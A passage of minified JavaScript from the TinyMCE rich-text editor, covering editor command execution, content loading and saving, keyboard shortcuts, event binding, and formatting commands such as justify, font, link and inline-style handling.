q=this;q.buttons=q.buttons||{};q.buttons[u]=r},addCommand:function(t,r,q){this.execCommands[t]={func:r,scope:q||this}},addQueryStateHandler:function(t,r,q){this.queryStateCommands[t]={func:r,scope:q||this}},addQueryValueHandler:function(t,r,q){this.queryValueCommands[t]={func:r,scope:q||this}},addShortcut:function(s,v,q,u){var r=this,w;if(!r.settings.custom_shortcuts){return false}r.shortcuts=r.shortcuts||{};if(d(q,"string")){w=q;q=function(){r.execCommand(w,false,null)}}if(d(q,"object")){w=q;q=function(){r.execCommand(w[0],w[1],w[2])}}j(g(s),function(t){var x={func:q,scope:u||this,desc:v,alt:false,ctrl:false,shift:false};j(g(t,"+"),function(y){switch(y){case"alt":case"ctrl":case"shift":x[y]=true;break;default:x.charCode=y.charCodeAt(0);x.keyCode=y.toUpperCase().charCodeAt(0)}});r.shortcuts[(x.ctrl?"ctrl":"")+","+(x.alt?"alt":"")+","+(x.shift?"shift":"")+","+x.keyCode]=x});return true},execCommand:function(x,w,z,q){var u=this,v=0,y,r;if(!/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint|SelectAll)$/.test(x)&&(!q||!q.skip_focus)){u.focus()}y={};u.onBeforeExecCommand.dispatch(u,x,w,z,y);if(y.terminate){return false}if(u.execCallback("execcommand_callback",u.id,u.selection.getNode(),x,w,z)){u.onExecCommand.dispatch(u,x,w,z,q);return true}if(y=u.execCommands[x]){r=y.func.call(y.scope,w,z);if(r!==true){u.onExecCommand.dispatch(u,x,w,z,q);return r}}j(u.plugins,function(s){if(s.execCommand&&s.execCommand(x,w,z)){u.onExecCommand.dispatch(u,x,w,z,q);v=1;return false}});if(v){return true}if(u.theme&&u.theme.execCommand&&u.theme.execCommand(x,w,z)){u.onExecCommand.dispatch(u,x,w,z,q);return true}if(n.GlobalCommands.execCommand(u,x,w,z)){u.onExecCommand.dispatch(u,x,w,z,q);return true}if(u.editorCommands.execCommand(x,w,z)){u.onExecCommand.dispatch(u,x,w,z,q);return true}u.getDoc().execCommand(x,w,z);u.onExecCommand.dispatch(u,x,w,z,q)},queryCommandState:function(w){var r=this,v,u;if(r._isHidden()){return}if(v=r.queryStateCommands[w]){u=v.func.call(v.scope);if(u!==true){return u}}v=r.editorCommands.queryCommandState(w);if(v!==-1){return v}try{return this.getDoc().queryCommandState(w)}catch(q){}},queryCommandValue:function(w){var r=this,v,u;if(r._isHidden()){return}if(v=r.queryValueCommands[w]){u=v.func.call(v.scope);if(u!==true){return u}}v=r.editorCommands.queryCommandValue(w);if(d(v)){return v}try{return this.getDoc().queryCommandValue(w)}catch(q){}},show:function(){var q=this;o.show(q.getContainer());o.hide(q.id);q.load()},hide:function(){var q=this,r=q.getDoc();if(b&&r){r.execCommand("SelectAll")}q.save();o.hide(q.getContainer());o.setStyle(q.id,"display",q.orgDisplay)},isHidden:function(){return !o.isHidden(this.id)},setProgressState:function(q,r,s){this.onSetProgressState.dispatch(this,q,r,s);return q},resizeToContent:function(){var q=this;o.setStyle(q.id+"_ifr","height",q.getBody().scrollHeight)},load:function(u){var q=this,s=q.getElement(),r;if(s){u=u||{};u.load=true;r=q.setContent(d(s.value)?s.value:s.innerHTML,u);u.element=s;if(!u.no_events){q.onLoadContent.dispatch(q,u)}u.element=s=null;return r}},save:function(v){var q=this,u=q.getElement(),r,s;if(!u||!q.initialized){return}v=v||{};v.save=true;if(!v.no_events){q.undoManager.typing=0;q.undoManager.add()}v.element=u;r=v.content=q.getContent(v);if(!v.no_events){q.onSaveContent.dispatch(q,v)}r=v.content;if(!/TEXTAREA|INPUT/i.test(u.nodeName)){u.innerHTML=r;if(s=o.getParent(q.id,"form")){j(s.elements,function(t){if(t.name==q.id){t.value=r;return false}})}}else{u.value=r}v.element=u=null;return r},setContent:function(r,s){var q=this;s=s||{};s.format=s.format||"html";s.set=true;s.content=r;if(!s.no_events){q.onBeforeSetContent.dispatch(q,s)}if(!n.isIE&&(r.length===0||/^\s+$/.test(r))){s.content=q.dom.setHTML(q.getBody(),'<br mce_bogus="1" />');s.format="raw"}s.content=q.dom.setHTML(q.getBody(),n.trim(s.content));if(s.format!="raw"&&q.settings.cleanup){s.getInner=true;s.content=q.dom.setHTML(q.getBody(),q.serializer.serialize(q.getBody(),s))}if(!s.no_events){q.onSetContent.dispatch(q,s)}return s.content},getContent:function(s){var q=this,r;s=s||{};s.format=s.format||"html";s.get=true;if(!s.no_events){q.onBeforeGetContent.dispatch(q,s)}if(s.format!="raw"&&q.settings.cleanup){s.getInner=true;r=q.serializer.serialize(q.getBody(),s)}else{r=q.getBody().innerHTML}r=r.replace(/^\s*|\s*$/g,"");s.content=r;if(!s.no_events){q.onGetContent.dispatch(q,s)}return s.content},isDirty:function(){var q=this;return n.trim(q.startContent)!=n.trim(q.getContent({format:"raw",no_events:1}))&&!q.isNotDirty},getContainer:function(){var q=this;if(!q.container){q.container=o.get(q.editorContainer||q.id+"_parent")}return q.container},getContentAreaContainer:function(){return this.contentAreaContainer},getElement:function(){return o.get(this.settings.content_element||this.id)},getWin:function(){var q=this,r;if(!q.contentWindow){r=o.get(q.id+"_ifr");if(r){q.contentWindow=r.contentWindow}}return q.contentWindow},getDoc:function(){var r=this,q;if(!r.contentDocument){q=r.getWin();if(q){r.contentDocument=q.document}}return r.contentDocument},getBody:function(){return this.bodyElement||this.getDoc().body},convertURL:function(q,x,w){var r=this,v=r.settings;if(v.urlconverter_callback){return r.execCallback("urlconverter_callback",q,w,true,x)}if(!v.convert_urls||(w&&w.nodeName=="LINK")||q.indexOf("file:")===0){return q}if(v.relative_urls){return r.documentBaseURI.toRelative(q)}q=r.documentBaseURI.toAbsolute(q,v.remove_script_host);return q},addVisual:function(u){var q=this,r=q.settings;u=u||q.getBody();if(!d(q.hasVisual)){q.hasVisual=r.visual}j(q.dom.select("table,a",u),function(t){var s;switch(t.nodeName){case"TABLE":s=q.dom.getAttrib(t,"border");if(!s||s=="0"){if(q.hasVisual){q.dom.addClass(t,r.visual_table_class)}else{q.dom.removeClass(t,r.visual_table_class)}}return;case"A":s=q.dom.getAttrib(t,"name");if(s){if(q.hasVisual){q.dom.addClass(t,"mceItemAnchor")}else{q.dom.removeClass(t,"mceItemAnchor")}}return}});q.onVisualAid.dispatch(q,u,q.hasVisual)},remove:function(){var q=this,r=q.getContainer();q.removed=1;q.hide();q.execCallback("remove_instance_callback",q);q.onRemove.dispatch(q);q.onExecCommand.listeners=[];i.remove(q);o.remove(r)},destroy:function(r){var q=this;if(q.destroyed){return}if(!r){n.removeUnload(q.destroy);tinyMCE.onBeforeUnload.remove(q._beforeUnload);if(q.theme&&q.theme.destroy){q.theme.destroy()}q.controlManager.destroy();q.selection.destroy();q.dom.destroy();if(!q.settings.content_editable){k.clear(q.getWin());k.clear(q.getDoc())}k.clear(q.getBody());k.clear(q.formElement)}if(q.formElement){q.formElement.submit=q.formElement._mceOldSubmit;q.formElement._mceOldSubmit=null}q.contentAreaContainer=q.formElement=q.container=q.settings.content_element=q.bodyElement=q.contentDocument=q.contentWindow=null;if(q.selection){q.selection=q.selection.win=q.selection.dom=q.selection.dom.doc=null}q.destroyed=1},_addEvents:function(){var w=this,v,y=w.settings,x={mouseup:"onMouseUp",mousedown:"onMouseDown",click:"onClick",keyup:"onKeyUp",keydown:"onKeyDown",keypress:"onKeyPress",submit:"onSubmit",reset:"onReset",contextmenu:"onContextMenu",dblclick:"onDblClick",paste:"onPaste"};function u(t,A){var s=t.type;if(w.removed){return}if(w.onEvent.dispatch(w,t,A)!==false){w[x[t.fakeType||t.type]].dispatch(w,t,A)}}j(x,function(t,s){switch(s){case"contextmenu":if(n.isOpera){w.dom.bind(w.getBody(),"mousedown",function(A){if(A.ctrlKey){A.fakeType="contextmenu";u(A)}})}else{w.dom.bind(w.getBody(),s,u)}break;case"paste":w.dom.bind(w.getBody(),s,function(A){u(A)});break;case"submit":case"reset":w.dom.bind(w.getElement().form||o.getParent(w.id,"form"),s,u);break;default:w.dom.bind(y.content_editable?w.getBody():w.getDoc(),s,u)}});w.dom.bind(y.content_editable?w.getBody():(a?w.getDoc():w.getWin()),"focus",function(s){w.focus(true)});if(n.isGecko){w.dom.bind(w.getDoc(),"DOMNodeInserted",function(t){var s;t=t.target;if(t.nodeType===1&&t.nodeName==="IMG"&&(s=t.getAttribute("mce_src"))){t.src=w.documentBaseURI.toAbsolute(s)}})}if(a){function q(){var B=this,D=B.getDoc(),C=B.settings;if(a&&!C.readonly){if(B._isHidden()){try{if(!C.content_editable){D.designMode="On"}}catch(A){}}try{D.execCommand("styleWithCSS",0,false)}catch(A){if(!B._isHidden()){try{D.execCommand("useCSS",0,true)}catch(A){}}}if(!C.table_inline_editing){try{D.execCommand("enableInlineTableEditing",false,false)}catch(A){}}if(!C.object_resizing){try{D.execCommand("enableObjectResizing",false,false)}catch(A){}}}}w.onBeforeExecCommand.add(q);w.onMouseDown.add(q)}w.onMouseUp.add(w.nodeChanged);w.onClick.add(w.nodeChanged);w.onKeyUp.add(function(s,t){var A=t.keyCode;if((A>=33&&A<=36)||(A>=37&&A<=40)||A==13||A==45||A==46||A==8||(n.isMac&&(A==91||A==93))||t.ctrlKey){w.nodeChanged()}});w.onReset.add(function(){w.setContent(w.startContent,{format:"raw"})});if(y.custom_shortcuts){if(y.custom_undo_redo_keyboard_shortcuts){w.addShortcut("ctrl+z",w.getLang("undo_desc"),"Undo");w.addShortcut("ctrl+y",w.getLang("redo_desc"),"Redo")}if(a){w.addShortcut("ctrl+b",w.getLang("bold_desc"),"Bold");w.addShortcut("ctrl+i",w.getLang("italic_desc"),"Italic");w.addShortcut("ctrl+u",w.getLang("underline_desc"),"Underline")}for(v=1;v<=6;v++){w.addShortcut("ctrl+"+v,"",["FormatBlock",false,"<h"+v+">"])}w.addShortcut("ctrl+7","",["FormatBlock",false,"<p>"]);w.addShortcut("ctrl+8","",["FormatBlock",false,"<div>"]);w.addShortcut("ctrl+9","",["FormatBlock",false,"<address>"]);function z(t){var s=null;if(!t.altKey&&!t.ctrlKey&&!t.metaKey){return s}j(w.shortcuts,function(A){if(n.isMac&&A.ctrl!=t.metaKey){return}else{if(!n.isMac&&A.ctrl!=t.ctrlKey){return}}if(A.alt!=t.altKey){return}if(A.shift!=t.shiftKey){return}if(t.keyCode==A.keyCode||(t.charCode&&t.charCode==A.charCode)){s=A;return false}});return s}w.onKeyUp.add(function(s,t){var A=z(t);if(A){return k.cancel(t)}});w.onKeyPress.add(function(s,t){var A=z(t);if(A){return k.cancel(t)}});w.onKeyDown.add(function(s,t){var A=z(t);if(A){A.func.call(A.scope);return k.cancel(t)}})}if(n.isIE){w.dom.bind(w.getDoc(),"controlselect",function(A){var t=w.resizeInfo,s;A=A.target;if(A.nodeName!=="IMG"){return}if(t){w.dom.unbind(t.node,t.ev,t.cb)}if(!w.dom.hasClass(A,"mceItemNoResize")){ev="resizeend";s=w.dom.bind(A,ev,function(C){var B;C=C.target;if(B=w.dom.getStyle(C,"width")){w.dom.setAttrib(C,"width",B.replace(/[^0-9%]+/g,""));w.dom.setStyle(C,"width","")}if(B=w.dom.getStyle(C,"height")){w.dom.setAttrib(C,"height",B.replace(/[^0-9%]+/g,""));w.dom.setStyle(C,"height","")}})}else{ev="resizestart";s=w.dom.bind(A,"resizestart",k.cancel,k)}t=w.resizeInfo={node:A,ev:ev,cb:s}});w.onKeyDown.add(function(s,t){switch(t.keyCode){case 8:if(w.selection.getRng().item){w.selection.getRng().item(0).removeNode();return k.cancel(t)}}})}if(n.isOpera){w.onClick.add(function(s,t){k.prevent(t)})}if(y.custom_undo_redo){function r(){w.undoManager.typing=0;w.undoManager.add()}if(n.isIE){w.dom.bind(w.getWin(),"blur",function(s){var t;if(w.selection){t=w.selection.getNode();if(!w.removed&&t.ownerDocument&&t.ownerDocument!=w.getDoc()){r()}}})}else{w.dom.bind(w.getDoc(),"blur",function(){if(w.selection&&!w.removed){r()}})}w.onMouseDown.add(r);w.onKeyUp.add(function(s,t){if((t.keyCode>=33&&t.keyCode<=36)||(t.keyCode>=37&&t.keyCode<=40)||t.keyCode==13||t.keyCode==45||t.ctrlKey){w.undoManager.typing=0;w.undoManager.add()}});w.onKeyDown.add(function(s,t){if((t.keyCode>=33&&t.keyCode<=36)||(t.keyCode>=37&&t.keyCode<=40)||t.keyCode==13||t.keyCode==45){if(w.undoManager.typing){w.undoManager.add();w.undoManager.typing=0}return}if(!w.undoManager.typing){w.undoManager.add();w.undoManager.typing=1}})}},_convertInlineElements:function(){var z=this,B=z.settings,r=z.dom,y,w,u,A,q;function x(s,t){if(!B.inline_styles){return}if(t.get){j(z.dom.select("table,u,strike",t.node),function(v){switch(v.nodeName){case"TABLE":if(y=r.getAttrib(v,"height")){r.setStyle(v,"height",y);r.setAttrib(v,"height","")}break;case"U":case"STRIKE":v.style.textDecoration=v.nodeName=="U"?"underline":"line-through";r.setAttrib(v,"mce_style","");r.setAttrib(v,"mce_name","span");break}})}else{if(t.set){j(z.dom.select("table,span",t.node).reverse(),function(v){if(v.nodeName=="TABLE"){if(y=r.getStyle(v,"height")){r.setAttrib(v,"height",y.replace(/[^0-9%]+/g,""))}}else{if(v.style.textDecoration=="underline"){u="u"}else{if(v.style.textDecoration=="line-through"){u="strike"}else{u=""}}if(u){v.style.textDecoration="";r.setAttrib(v,"mce_style","");w=r.create(u,{style:r.getAttrib(v,"style")});r.replace(w,v,1)}}})}}}z.onPreProcess.add(x);if(!B.cleanup_on_startup){z.onSetContent.add(function(s,t){if(t.initial){x(z,{node:z.getBody(),set:1})}})}},_convertFonts:function(){var w=this,x=w.settings,z=w.dom,v,r,q,u;if(!x.inline_styles){return}v=[8,10,12,14,18,24,36];r=["xx-small","x-small","small","medium","large","x-large","xx-large"];if(q=x.font_size_style_values){q=g(q)}if(u=x.font_size_classes){u=g(u)}function y(B){var C,A,t,s;if(!x.inline_styles){return}t=w.dom.select("font",B);for(s=t.length-1;s>=0;s--){C=t[s];A=z.create("span",{style:z.getAttrib(C,"style"),"class":z.getAttrib(C,"class")});z.setStyles(A,{fontFamily:z.getAttrib(C,"face"),color:z.getAttrib(C,"color"),backgroundColor:C.style.backgroundColor});if(C.size){if(q){z.setStyle(A,"fontSize",q[parseInt(C.size)-1])}else{z.setAttrib(A,"class",u[parseInt(C.size)-1])}}z.setAttrib(A,"mce_style","");z.replace(A,C,1)}}w.onPreProcess.add(function(s,t){if(t.get){y(t.node)}});w.onSetContent.add(function(s,t){if(t.initial){y(t.node)}})},_isHidden:function(){var q;if(!a){return 0}q=this.selection.getSel();return(!q||!q.rangeCount||q.rangeCount==0)},_fixNesting:function(r){var t=[],q;r=r.replace(/<(\/)?([^\s>]+)[^>]*?>/g,function(u,s,w){var v;if(s==="/"){if(!t.length){return""}if(w!==t[t.length-1].tag){for(q=t.length-1;q>=0;q--){if(t[q].tag===w){t[q].close=1;break}}return""}else{t.pop();if(t.length&&t[t.length-1].close){u=u+"</"+t[t.length-1].tag+">";t.pop()}}}else{if(/^(br|hr|input|meta|img|link|param)$/i.test(w)){return u}if(/\/>$/.test(u)){return u}t.push({tag:w})}return u});for(q=t.length-1;q>=0;q--){r+="</"+t[q].tag+">"}return r}})})(tinymce);(function(d){var f=d.each,c=d.isIE,a=d.isGecko,b=d.isOpera,e=d.isWebKit;d.create("tinymce.EditorCommands",{EditorCommands:function(g){this.editor=g},execCommand:function(k,j,l){var h=this,g=h.editor,i;switch(k){case"mceResetDesignMode":case"mceBeginUndoLevel":return true;case"unlink":h.UnLink();return true;case"JustifyLeft":case"JustifyCenter":case"JustifyRight":case"JustifyFull":h.mceJustify(k,k.substring(7).toLowerCase());return true;default:i=this[k];if(i){i.call(this,j,l);return true}}return false},Indent:function(){var g=this.editor,l=g.dom,j=g.selection,k,h,i;h=g.settings.indentation;i=/[a-z%]+$/i.exec(h);h=parseInt(h);if(g.settings.inline_styles&&(!this.queryStateInsertUnorderedList()&&!this.queryStateInsertOrderedList())){f(j.getSelectedBlocks(),function(m){l.setStyle(m,"paddingLeft",(parseInt(m.style.paddingLeft||0)+h)+i)});return}g.getDoc().execCommand("Indent",false,null);if(c){l.getParent(j.getNode(),function(m){if(m.nodeName=="BLOCKQUOTE"){m.dir=m.style.cssText=""}})}},Outdent:function(){var h=this.editor,m=h.dom,k=h.selection,l,g,i,j;i=h.settings.indentation;j=/[a-z%]+$/i.exec(i);i=parseInt(i);if(h.settings.inline_styles&&(!this.queryStateInsertUnorderedList()&&!this.queryStateInsertOrderedList())){f(k.getSelectedBlocks(),function(n){g=Math.max(0,parseInt(n.style.paddingLeft||0)-i);m.setStyle(n,"paddingLeft",g?g+j:"")});return}h.getDoc().execCommand("Outdent",false,null)},mceSetContent:function(h,g){this.editor.setContent(g)},mceToggleVisualAid:function(){var g=this.editor;g.hasVisual=!g.hasVisual;g.addVisual()},mceReplaceContent:function(h,g){var i=this.editor.selection;i.setContent(g.replace(/\{\$selection\}/g,i.getContent({format:"text"})))},mceInsertLink:function(i,h){var g=this.editor,j=g.selection,k=g.dom.getParent(j.getNode(),"a");if(d.is(h,"string")){h={href:h}}function l(m){f(h,function(o,n){g.dom.setAttrib(m,n,o)})}if(!k){g.execCommand("CreateLink",false,"javascript:mctmp(0);");f(g.dom.select("a[href=javascript:mctmp(0);]"),function(m){l(m)})}else{if(h.href){l(k)}else{g.dom.remove(k,1)}}},UnLink:function(){var g=this.editor,h=g.selection;if(h.isCollapsed()){h.select(h.getNode())}g.getDoc().execCommand("unlink",false,null);h.collapse(0)},FontName:function(i,h){var j=this,g=j.editor,k=g.selection,l;if(!h){if(k.isCollapsed()){k.select(k.getNode())}}else{if(g.settings.convert_fonts_to_spans){j._applyInlineStyle("span",{style:{fontFamily:h}})}else{g.getDoc().execCommand("FontName",false,h)}}},FontSize:function(j,i){var h=this.editor,l=h.settings,k,g;if(l.convert_fonts_to_spans&&i>=1&&i<=7){g=d.explode(l.font_size_style_values);k=d.explode(l.font_size_classes);if(k){i=k[i-1]||i}else{i=g[i-1]||i}}if(i>=1&&i<=7){h.getDoc().execCommand("FontSize",false,i)}else{this._applyInlineStyle("span",{style:{fontSize:i}})}},queryCommandValue:function(h){var g=this["queryValue"+h];if(g){return g.call(this,h)}return false},queryCommandState:function(h){var g;switch(h){case"JustifyLeft":case"JustifyCenter":case"JustifyRight":case"JustifyFull":return this.queryStateJustify(h,h.substring(7).toLowerCase());default:if(g=this["queryState"+h]){return g.call(this,h)}}return -1},_queryState:function(h){try{return this.editor.getDoc().queryCommandState(h)}catch(g){}},_queryVal:function(h){try{return this.editor.getDoc().queryCommandValue(h)}catch(g){}},queryValueFontSize:function(){var h=this.editor,g=0,i;if(i=h.dom.getParent(h.selection.getNode(),"span")){g=i.style.fontSize}if(!g&&(b||e)){if(i=h.dom.getParent(h.selection.getNode(),"font")){g=i.size}return g}return g||this._queryVal("FontSize")},queryValueFontName:function(){var h=this.editor,g=0,i;if(i=h.dom.getParent(h.selection.getNode(),"font")){g=i.face}if(i=h.dom.getParent(h.selection.getNode(),"span")){g=i.style.fontFamily.replace(/, /g,",").replace(/[\'\"]/g,"").toLowerCase()}if(!g){g=this._queryVal("FontName")}return g},mceJustify:function(o,p){var k=this.editor,m=k.selection,g=m.getNode(),q=g.nodeName,h,j,i=k.dom,l;if(k.settings.inline_styles&&this.queryStateJustify(o,p)){l=1}h=i.getParent(g,k.dom.isBlock);if(q=="IMG"){if(p=="full"){return}if(l){if(p=="center"){i.setStyle(h||g.parentNode,"textAlign","")}i.setStyle(g,"float","");this.mceRepaint();return}if(p=="center"){if(h&&/^(TD|TH)$/.test(h.nodeName)){h=0}if(!h||h.childNodes.length>1){j=i.create("p");j.appendChild(g.cloneNode(false));if(h){i.insertAfter(j,h)}else{i.insertAfter(j,g)}i.remove(g);g=j.firstChild;h=j}i.setStyle(h,"textAlign",p);i.setStyle(g,"float","")}else{i.setStyle(g,"float",p);i.setStyle(h||g.parentNode,"textAlign","")}this.mceRepaint();return}if(k.settings.inline_styles&&k.settings.forced_root_block){if(l){p=""}f(m.getSelectedBlocks(i.getParent(m.getStart(),i.isBlock),i.getParent(m.getEnd(),i.isBlock)),function(n){i.setAttrib(n,"align","");i.setStyle(n,"textAlign",p=="full"?"justify":p)});return}else{if(!l){k.getDoc().execCommand(o,false,null)}}if(k.settings.inline_styles){if(l){i.getParent(k.selection.getNode(),function(r){if(r.style&&r.style.textAlign){i.setStyle(r,"textAlign","")}});return}f(i.select("*"),function(s){var r=s.align;if(r){if(r=="full"){r="justify"}i.setStyle(s,"textAlign",r);i.setAttrib(s,"align","")}})}},mceSetCSSClass:function(h,g){this.mceSetStyleInfo(0,{command:"setattrib",name:"class",value:g})},getSelectedElement:function(){var w=this,o=w.editor,n=o.dom,s=o.selection,h=s.getRng(),l,k,u,p,j,g,q,i,x,v;if(s.isCollapsed()||h.item){return s.getNode()}v=o.settings.merge_styles_invalid_parents;if(d.is(v,"string")){v=new RegExp(v,"i")}if(c){l=h.duplicate();l.collapse(true);u=l.parentElement();k=h.duplicate();k.collapse(false);p=k.parentElement();if(u!=p){l.move("character",1);u=l.parentElement()}if(u==p){l=h.duplicate();l.moveToElementText(u);if(l.compareEndPoints("StartToStart",h)==0&&l.compareEndPoints("EndToEnd",h)==0){return v&&v.test(u.nodeName)?null:u}}}else{function m(r){return n.getParent(r,"*")}u=h.startContainer;p=h.endContainer;j=h.startOffset;g=h.endOffset;if(!h.collapsed){if(u==p){if(j-g<2){if(u.hasChildNodes()){i=u.childNodes[j];return v&&v.test(i.nodeName)?null:i}}}}if(u.nodeType!=3||p.nodeType!=3){return null}if(j==0){i=m(u);if(i&&i.firstChild!=u){i=null}}if(j==u.nodeValue.length){q=u.nextSibling;if(q&&q.nodeType==1){i=u.nextSibling}}if(g==0){q=p.previousSibling;if(q&&q.nodeType==1){x=q}}if(g==p.nodeValue.length){x=m(p);if(x&&x.lastChild!=p){x=null}}if(i==x){return v&&i&&v.test(i.nodeName)?null:i}}return null},mceSetStyleInfo:function(n,m){var q=this,h=q.editor,j=h.getDoc(),g=h.dom,i,k,r=h.selection,p=m.wrapper||"span",k=r.getBookmark(),o;function l(t,s){if(t.nodeType==1){switch(m.command){case"setattrib":return g.setAttrib(t,m.name,m.value);case"setstyle":return g.setStyle(t,m.name,m.value);case"removeformat":return g.setAttrib(t,"class","")}}}o=h.settings.merge_styles_invalid_parents;if(d.is(o,"string")){o=new RegExp(o,"i")}if((i=q.getSelectedElement())&&!h.settings.force_span_wrappers){l(i,1)}else{j.execCommand("FontName",false,"__");f(g.select("span,font"),function(u){var s,t;if(g.getAttrib(u,"face")=="__"||u.style.fontFamily==="__"){s=g.create(p,{mce_new:"1"});l(s);f(u.childNodes,function(v){s.appendChild(v.cloneNode(true))});g.replace(s,u)}})}f(g.select(p).reverse(),function(t){var s=t.parentNode;if(!g.getAttrib(t,"mce_new")){s=g.getParent(t,"*[mce_new]");if(s){g.remove(t,1)}}});f(g.select(p).reverse(),function(t){var s=t.parentNode;if(!s||!g.getAttrib(t,"mce_new")){return}if(h.settings.force_span_wrappers&&s.nodeName!="SPAN"){return}if(s.nodeName==p.toUpperCase()&&s.childNodes.length==1){return g.remove(s,1)}if(t.nodeType==1&&(!o||!o.test(s.nodeName))&&s.childNodes.length==1){l(s);g.setAttrib(t,"class","")}});f(g.select(p).reverse(),function(s){if(g.getAttrib(s,"mce_new")||(g.getAttribs(s).length<=1&&s.className==="")){if(!g.getAttrib(s,"class")&&!g.getAttrib(s,"style")){return g.remove(s,1)}g.setAttrib(s,"mce_new","")}});r.moveToBookmark(k)},queryStateJustify:function(k,h){var g=this.editor,j=g.selection.getNode(),i=g.dom;if(j&&j.nodeName=="IMG"){if(i.getStyle(j,"float")==h){return 1}return j.parentNode.style.textAlign==h}j=i.getParent(g.selection.getStart(),function(l){return l.nodeType==1&&l.style.textAlign});if(h=="full"){h="justify"}if(g.settings.inline_styles){return(j&&j.style.textAlign==h)}return this._queryState(k)},ForeColor:function(i,h){var g=this.editor;if(g.settings.convert_fonts_to_spans){this._applyInlineStyle("span",{style:{color:h}});return}else{g.getDoc().execCommand("ForeColor",false,h)}},HiliteColor:function(i,k){var h=this,g=h.editor,j=g.getDoc();if(g.settings.convert_fonts_to_spans){this._applyInlineStyle("span",{style:{backgroundColor:k}});return}function l(n){if(!a){return}try{j.execCommand("styleWithCSS",0,n)}catch(m){j.execCommand("useCSS",0,!n)}}if(a||b){l(true);j.execCommand("hilitecolor",false,k);l(false)}else{j.execCommand("BackColor",false,k)}},FormatBlock:function(n,h){var o=this,l=o.editor,p=l.selection,j=l.dom,g,k,m;function i(q){return/^(P|DIV|H[1-6]|ADDRESS|BLOCKQUOTE|PRE)$/.test(q.nodeName)}g=j.getParent(p.getNode(),function(q){return i(q)});if(g){if((c&&i(g.parentNode))||g.nodeName=="DIV"){k=l.dom.create(h);f(j.getAttribs(g),function(q){j.setAttrib(k,q.nodeName,j.getAttrib(g,q.nodeName))});m=p.getBookmark();j.replace(k,g,1);p.moveToBookmark(m);l.nodeChanged();return}}h=l.settings.forced_root_block?(h||"<p>"):h;if(h.indexOf("<")==-1){h="<"+h+">"}if(d.isGecko){h=h.replace(/<(div|blockquote|code|dt|dd|dl|samp)>/gi,"$1")}l.getDoc().execCommand("FormatBlock",false,h)},mceCleanup:function(){var h=this.editor,i=h.selection,g=i.getBookmark();h.setContent(h.getContent());i.moveToBookmark(g)},mceRemoveNode:function(j,k){var h=this.editor,i=h.selection,g,l=k||i.getNode();if(l==h.getBody()){return}g=i.getBookmark();h.dom.remove(l,1);i.moveToBookmark(g);h.nodeChanged()},mceSelectNodeDepth:function(i,j){var g=this.editor,h=g.selection,k=0;g.dom.getParent(h.getNode(),function(l){if(l.nodeType==1&&k++==j){h.select(l);g.nodeChanged();return false}},g.getBody())},mceSelectNode:function(h,g){this.editor.selection.select(g)},mceInsertContent:function(g,h){this.editor.selection.setContent(h)},mceInsertRawHTML:function(h,i){var g=this.editor;g.selection.setContent("tiny_mce_marker");g.setContent(g.getContent().replace(/tiny_mce_marker/g,i))},mceRepaint:function(){var i,g,j=this.editor;if(d.isGecko){try{i=j.selection;g=i.getBookmark(true);if(i.getSel()){i.getSel().selectAllChildren(j.getBody())}i.collapse(true);i.moveToBookmark(g)}catch(h){}}},queryStateUnderline:function(){var g=this.editor,h=g.selection.getNode();if(h&&h.nodeName=="A"){return false}return this._queryState("Underline")},queryStateOutdent:function(){var g=this.editor,h;if(g.settings.inline_styles){if((h=g.dom.getParent(g.selection.getStart(),g.dom.isBlock))&&parseInt(h.style.paddingLeft)>0){return true}if((h=g.dom.getParent(g.selection.getEnd(),g.dom.isBlock))&&parseInt(h.style.paddingLeft)>0){return true}}return this.queryStateInsertUnorderedList()||this.queryStateInsertOrderedList()||(!g.settings.inline_styles&&!!g.dom.getParent(g.selection.getNode(),"BLOCKQUOTE"))},queryStateInsertUnorderedList:function(){return this.editor.dom.getParent(this.editor.selection.getNode(),"UL")},queryStateInsertOrderedList:function(){return this.editor.dom.getParent(this.editor.selection.getNode(),"OL")},queryStatemceBlockQuote:function(){return !!this.editor.dom.getParent(this.editor.selection.getStart(),function(g){return g.nodeName==="BLOCKQUOTE"})},_applyInlineStyle:function(o,j,m){var q=this,n=q.editor,l=n.dom,i,p={},k,r;o=o.toUpperCase();if(m&&m.check_classes&&j["class"]){m.check_classes.push(j["class"])}function h(){f(l.select(o).reverse(),function(t){var s=0;f(l.getAttribs(t),function(u){if(u.nodeName.substring(0,1)!="_"&&l.getAttrib(t,u.nodeName)!=""){s++}});if(s==0){l.remove(t,1)}})}function g(){var s;f(l.select("span,font"),function(t){if(t.style.fontFamily=="mceinline"||t.face=="mceinline"){if(!s){s=n.selection.getBookmark()}j._mce_new="1";l.replace(l.create(o,j),t,1)}});f(l.select(o+"[_mce_new]"),function(u){function t(v){if(v.nodeType==1){f(j.style,function(x,w){l.setStyle(v,w,"")});if(j["class"]&&v.className&&m){f(m.check_classes,function(w){if(l.hasClass(v,w)){l.removeClass(v,w)}})}}}f(l.select(o,u),t);if(u.parentNode&&u.parentNode.nodeType==1&&u.parentNode.childNodes.length==1){t(u.parentNode)}l.getParent(u.parentNode,function(v){if(v.nodeType==1){if(j.style){f(j.style,function(y,x){var w;if(!p[x]&&(w=l.getStyle(v,x))){if(w===y){l.setStyle(u,x,"")}p[x]=1}})}if(j["class"]&&v.className&&m){f(m.check_classes,function(w){if(l.hasClass(v,w)){l.removeClass(u,w)}})}}return false});u.removeAttribute("_mce_new")});h();n.selection.moveToBookmark(s);return !!s}n.focus();n.getDoc().execCommand("FontName",false,"mceinline");g();if(k=q._applyInlineStyle.keyhandler){n.onKeyUp.remove(k);n.onKeyPress.remove(k);n.onKeyDown.remove(k);n.onSetContent.remove(q._applyInlineStyle.chandler)}if(n.selection.isCollapsed()){if(!c){f(l.getParents(n.selection.getNode(),"span"),function(s){f(j.style,function(u,t){var w;if(w=l.getStyle(s,t)){if(w==u){l.setStyle(s,t,"");r=2;return false}r=1;return false}});if(r){return false}});if(r==2){i=n.selection.getBookmark();h();n.selection.moveToBookmark(i);window.setTimeout(function(){n.nodeChanged()},1);return}}q._pendingStyles=d.extend(q._pendingStyles||{},j.style);q._applyInlineStyle.chandler=n.onSetContent.add(function(){delete q._pendingStyles});q._applyInlineStyle.keyhandler=k=function(s){if(q._pendingStyles){j.style=q._pendingStyles;delete 